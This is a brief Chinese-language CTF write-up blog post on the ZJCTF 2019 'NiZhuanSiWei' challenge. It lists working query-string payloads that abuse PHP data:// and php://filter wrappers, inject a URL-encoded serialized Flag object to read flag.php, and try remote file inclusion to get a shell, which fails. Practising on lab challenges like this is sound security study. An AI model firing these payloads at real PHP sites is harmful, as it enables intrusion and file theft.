ZJCTF2019
[ZJCTF 2019]NiZhuanSiWei
1 |
|
挺容易看出来的就不说了
1 | ?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php |
1 |
|
但是有个疑问为什么一定要file=useless.php
才可以呢,没事多试试就行
1 | ?text=data://text/plain,welcome to the zjctf&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D&file=useless.php |
但是这个include
让我觉得没有必要写序列化代码了,我远程包含不就getshell
了嘛
1 | ?text=data://text/plain,welcome to the zjctf&file=http://baidu.com |
测试了一下不行欸,giao
所以就只能放弃了
- Title: ZJCTF2019
- Author: baozongwi
- Created at : 2024-08-15 01:29:08
- Updated at : 2024-09-14 15:48:57
- Link: https://baozongwi.xyz/2024/08/15/ZJCTF2019/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments